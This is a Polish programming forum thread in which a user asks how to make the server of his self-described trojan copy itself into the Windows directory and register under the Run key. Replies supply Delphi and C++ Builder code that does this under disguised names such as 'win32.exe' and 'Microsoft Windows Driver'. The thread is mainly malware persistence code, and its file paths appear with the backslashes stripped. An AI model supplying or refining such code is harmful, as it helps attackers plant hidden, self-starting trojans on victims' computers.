[BCB] Problem z rejestrem

MafiAmiX

Użytkownik
Dołączył
Czerwiec 29, 2004
Posty
65
Witam, mam takie male pytanko, mianowicie cos mi program (serwer) trojanka nie chce dodac sie do rejestru...
tzn sam klucz sie dodaje, ale program nie chce sie skopiowac do katalogu windowsa (ogolnie do zadnego katalogu niechce sie skopiowac) :roll:

Probowalem juz z takim kodem:

Kod:
TRegistry& Rejestr = *new TRegistry();

   Rejestr.RootKey = HKEY_LOCAL_MACHINE;

   Rejestr.OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun", false);

   Rejestr.WriteString("Program Project1", "c:project1.exe");

   delete &Rejestr;

oraz z takim:

Kod:
 char* dcl = "C:WINDOWSwin32.exe";

AnsiString Dll= ExtractFileDir(Application->ExeName) + "win32.exe";

char* ex = Dll.c_str();

CopyFile(ex, dcl, true);



TRegistry& Rejestr = *new TRegistry();

Rejestr.RootKey = HKEY_LOCAL_MACHINE;

Rejestr.OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun", false);

Rejestr.WriteString("Microsoft Windows Driver", "C:WINDOWSwin32.exe");

delete &Rejestr;

Rozumiem, ze te klucze mam wpisywac w komponencie
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
TCustomWinSocket *Socket)

Pozdrawiam
MafiAmiX
 

Bios666

Użytkownik
Dołączył
Lipiec 25, 2005
Posty
63
zrob w ten spoob
do sekcji uses dopisz:
registry,




Kod:
procedure TForm1.FormCreate(Sender: TObject);

begin

begin



Reg:=TRegistry.Create;

try

reg.RootKey:=HKEY_CURRENT_USER;

reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);

reg.WriteString('nazwa twojej aplikacji','C:WINDOWSSystem32nazwa twojej aplikacji.exe');

copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32nazwa twojej aplikacji.exe'),true);

BorderIcons:= [biSystemMenu];

finally

end;
to mosi dzialac!!
 

MafiAmiX

Użytkownik
Dołączył
Czerwiec 29, 2004
Posty
65
hehe no wlasnie
<


no co jest panowie, nikt nie wie jak to zrobic w c++?
 

rafal

Były Moderator
Dołączył
Marzec 30, 2005
Posty
392
a dziala Ci ten kod na wlasnym kompie tzn.. wciskajac buttona i dodajac np: uruchomiona aplikacje ? forma - 1 button i tylko ten kodzik...
 

MafiAmiX

Użytkownik
Dołączył
Czerwiec 29, 2004
Posty
65
nom, z tym ze dodaje sie tylko wpis do rejestru, a skopiowac do katalogu sie nie chce :roll:
 

rzeszutek

Użytkownik
Dołączył
Wrzesień 5, 2005
Posty
19
A spórbuj tak :
Kod:
char Buffer01[320];

char Buffer02[256];



GetWindowsDirectory(Buffer01, 256);

GetModuleFileName(GetModuleHandle(0), Buffer02, 256);

lstrcat(Buffer01, "win32.exe");

CopyFile(Buffer02, Buffer01, 0);



TRegistry& Rejestr = *new TRegistry();

Rejestr.RootKey = HKEY_LOCAL_MACHINE;

Rejestr.OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun", false);

Rejestr.WriteString("win32.exe", "C:Windowswin32.exe");

delete &Rejestr;

U mnie działa
 
Do góry Bottom